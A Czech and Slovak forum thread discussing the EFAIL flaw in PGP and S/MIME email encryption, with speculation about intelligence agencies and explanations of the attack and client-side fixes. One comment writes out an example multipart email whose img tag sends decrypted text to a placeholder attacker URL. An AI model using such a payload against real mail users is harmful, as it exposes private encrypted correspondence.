Bezpečnostní chyba v šifrování pošty pomocí PGP/GPG i S/MIME (diskuse)

[Slavko]

Hmm, že by boli CIA, NSA a podobné dobré troj-písmenkové organizácie vážne znepokojené narastajúcim počtom šifrovaných správ?

[Conscript89]

Stejne jako treba FSB, ze? :)

[Conscript89]

Akorat co se tyka v tomto pripade je to co se tyce NSA, CIA spekulace, narozdil od FSB ktera dala primo "pokyn" zakazat telegram.

[Slavko]

Síce neviem o tom, že by bol akýsi Telegram zakázaný v SR či ČR, ani že by FSB odporúčala okamžite prestať šifrovať, ale inak áno - je to špekulácia, lebo dobré troj-písmenkové organizácie nemajú odvahu urobiť to otvorene, ale získavajú prístup cez nastrčené organizácie, ako napr. súkromné kľúče prostredníctvom metrík Windows...

Mimochodom, i dobré troj-písmenkové organizácie z USA majú podobný prístup zabezpečený ich federálnym zákonom, ale o tom sa taktne mlčí, pretože mlčanie nie je dezinformácia, že... Alebo ste nečítali veci, ktoré vyšli najavo vďaka zlému Snowdenovi?

[Peter Golis]

To je ten komunista?

[Jendа]

Kdyby tohle objevila NSA, tak si to schová jako 0day a nebude to zveřejňovat.

[Marián Kyral]

A myslíš, že o tom ještě neví?

[elenril]

Aha, takže v podstatě je to jen "HTML email je zlo a neměl by se používat", ale "security researchers" kolem toho potřebují udělat cirkus.

[Lyco]

Protože už jsou k dispozici informace, tak přidávám shrnutí:

Je to kombinace několika věcí:

1. mailové čtečky stahují automaticky vzdálený obsah
2. některé mailové čtečky neberou ohled na bezpečnostní interakce zašifrovaného a nezašifrovaného obsahu: můžu v plaintextu otevřít tag img, do src vložit zašifrovaný obsah (pomocí MIME multipart) a v plaintextu zase img zavřít. Voila: v logu webserveru najdu rozšifrovaný obsah.
3. I pokud je klient rozumný, dá se udělat útok na kryptografii: používá se neautentizovaný mód CBC (nebo jeho dvojče, CFB). Útočník, pokud správně uhodne plaintext prvního bloku (a to typicky dokáže), může zkonstruovat blok který se rozšifruje na známou hodnotu. Tím vloží do plaintextu tag img a zbytek nechá normálně rozšifrovat jako výše.

Vysvětlení Odborný článek

[Jendа]

TL;DR. ELI5: Vyrobíš multipart zprávu s

<img src="https://útočník/?m=
----BOUNDARY
-----BEGIN PGP MESSAGE-----
...
-----END PGP MESSAGE-----
----BOUNDARY
">

Poštovní klient ten vnitřek rozšifruje, sestaví z toho dokument, a pokud povolíš nahrávání vzdálených obrázků (což lze zařídit třeba tím, že tuhle věc přilepíš do newsletteru z Alzy), tak se GETne ten tajný obsah. Nejspíš to selže pokud v šifrované zprávě budou uvozovky.

[pc2005]

Poštovní klient ten vnitřek rozšifruje

Tak to je facepalm.

[Jendа]

Myslíš tím že by klient neměl rozšifrovat zprávu když je jenom částečně šifrovaná? Často totiž nemáš jinou možnost - například různé mailing listy, které přidávají patičky.

[pc2005]

No dovedu si představit, že by přesunul ten šifrovanej obsah do speciální oblasti a izoloval jí od okolí.

[Josef Kufner]

V první řadě je prasárna cpát šifrovaný text do plain-text těla mailu. Pokud se dá do samostatné multipart části, tak konference patičku přihodí jako další textovou část a nic se nerozbije (přijde multipart zpráva s dvěma těly - jedno šifrované a druhé nikoliv).

[Lyco]

Ta chyba je na efail.de popsaná právě pro multipart maily.

Skutečný problém je v tom, že to klient spojí a interpretuje jako celek, přestože jsou tam hranice (dané šifrováním) které nelze bezpečně překročit.

[petr]

at nemusite cekat https://efail.de/efail-attack-paper.pdf